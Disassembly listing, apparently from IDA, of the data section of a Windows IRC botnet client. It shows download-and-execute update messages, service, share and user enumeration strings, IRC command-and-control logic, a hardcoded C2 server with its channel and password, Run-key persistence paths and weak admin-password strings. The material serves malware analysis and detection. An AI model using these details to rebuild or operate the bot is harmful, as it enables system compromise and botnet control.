dd 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+44o
dd 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+1D1o
dd 2BBBB02h
aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 10h
dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+CBo
dd 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+ABo
dd 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o
dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+83o
dd 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 10h
unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
; DATA XREF: sub_40CAF1+358o
dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h
dd 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o
; sub_40EE72+2B48o ...
align 4
unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 10h
unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 4
unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo
; sub_40DF4E+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o
align 4
off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo
aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o
; sub_40D24E+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co
align 4
unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o
; ---------------------------------------------------------------------------
loc_42E75C: ; DATA XREF: sub_40D4C5+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_40D4C5+13Fo
dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o
; sub_40EE72+623o
aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo
; sub_40EE72+62Fo
align 10h
off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r
; sub_40DAF0+51r ...
; "Add"
off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr
; sub_40DAF0+83r ...
; "Added"
dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o
aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o
aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo
align 4
aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o
dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D719+67o
dd 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D719+51o
dd 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D719+33o
dd 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_40D835:loc_40D93Fo
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_40D835:loc_40D938o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_40D835:loc_40D931o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_40D835:loc_40D92Ao
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_40D835:loc_40D91Co
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_40D835:loc_40D915o
db 'marked for deletion.',0
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_40D835:loc_40D90Eo
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_40D835:loc_40D8E3o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_40D835:loc_40D8DCo
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_40D835:loc_40D8D5o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_40D835:loc_40D8CEo
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_40D835:loc_40D8A3o
db 'dependent on it.',0
align 10h
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_40D835:loc_40D87Bo
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40D9B3+25o
align 4
dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAF0+ACo
dd 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAF0+8Ao
dd 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAF0+58o
dd 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DCE6+76o
dd 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_40DCE6+26o
align 4
dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE07+B7o
dd 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE07+95o
dd 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE07+6Do
dd 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DF4E+3AFo
dd 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do
align 4
aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo
; ___:0042F774o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
align 4
dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E337+F7o
dd 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo
align 4
dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E337+7Ao
dd 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_40E4B7:loc_40E59Bo
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_40E4B7+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_40E4B7:loc_40E506o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
align 10h
dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E5EB+ABo
dd 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E5EB+81o
dd 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 10h
dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr
; ___:0040EAFFr
dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br
dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br
; sub_40EE72+52E6r
dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r
; sub_40EE72:loc_41424Dr
dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r
dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r
dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr
; ___:loc_40E9D8r
byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr
; sub_40EE72+B05r ...
align 4
dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br
; sub_415996+51r ...
dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r
; sub_40EE72+279r ...
a8652 db '8652',0
align 4
aCool_0 db 'cool',0
align 10h
aMan db 'man',0
align 8
aAsn139 db 'asn139',0
align 10h
db 2 dup(0)
byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r
; sub_40EE72+4EDCo
aAsn445 db 'asn445',0
align 4
dd 100h, 3 dup(0)
aBotid db 'botid',0 ; DATA XREF: ___:0040E703o
; sub_40EE72+3E40o ...
align 4
aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o
align 4
aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o
; sub_40EE72+61F8o
align 4
aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
; ___:0040EAF0o
aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o
; ___:0040EB06o
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo
; ___:0040EB18o
align 10h
byte_42F650 db 73h ; DATA XREF: ___:loc_40EB2Er
; ___:0040EB3Co
aAber_ircqforum db 'aber.ircqforum.com',0
aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o
align 4
aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o
align 4
byte_42F674 db 66h ; DATA XREF: sub_402B84+Fo
; sub_4030E8+81o ...
db 69h, 72h, 73h
dd 69777374h, 78652E6Eh, 65h
dword_42F684 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo
align 4
aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o
align 4
aFirstswin_exe db 'firstswin.exe',0
align 4
aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o
aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120EFo
; sub_40EE72+50A2o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo
align 10h
aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o
align 4
off_42F6C4 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo
; "*@admin.com"
off_42F6C8 dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr
; sub_40EE72+6198o
; "h4cker tool"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
; sub_4162AC+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
; sub_4162AC+D4o
align 4
dd offset aAdministrator ; "Administrator"
dd offset aDb2 ; "db2"
align 10h
dd offset byte_436EDC
dd offset byte_436EDC
dd offset aAdministrato_0 ; "ADMINISTRATOR"
dd offset byte_436EDC
dd 0
dword_42F794 dd 10h ; DATA XREF: sub_40BE75+72w
; sub_40EE72+B6Er ...
aAdministrato_0 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F788o
align 4
aDb2 db 'db2',0 ; DATA XREF: ___:0042F778o
aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6C8o
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C4o
dword_42F7C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: ___:0040E9FBo
dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h
dword_42F7EC dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_42F7F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EB92+F2o
dd 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
align 4
dword_42F86C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+6257o
dd 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_42F89C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+623Ao
dd 2BBBB02h
aAbosal7Accepte db ' ABOSAL7 accepted.',0
dword_42F8C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+61D9o
dd 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_42F904 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+6172o
dd 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 10h
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40EE72+6160o
; sub_40EE72+61C7o
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40EE72+6149o
; sub_40EE72+61B0o
align 4
asc_42F98C: ; DATA XREF: sub_40EE72+6119o
unicode 0, <~>,0
dword_42F990 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+60C9o
dd 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_42F9C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+6015o
dd 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 10h
dword_42FA00 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+600Ao
dd 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_42FA3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5FB5o
dd 2BBBB02h, 73252020h, 0
unk_42FA5C db 2 ; DATA XREF: sub_40EE72+5F8Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
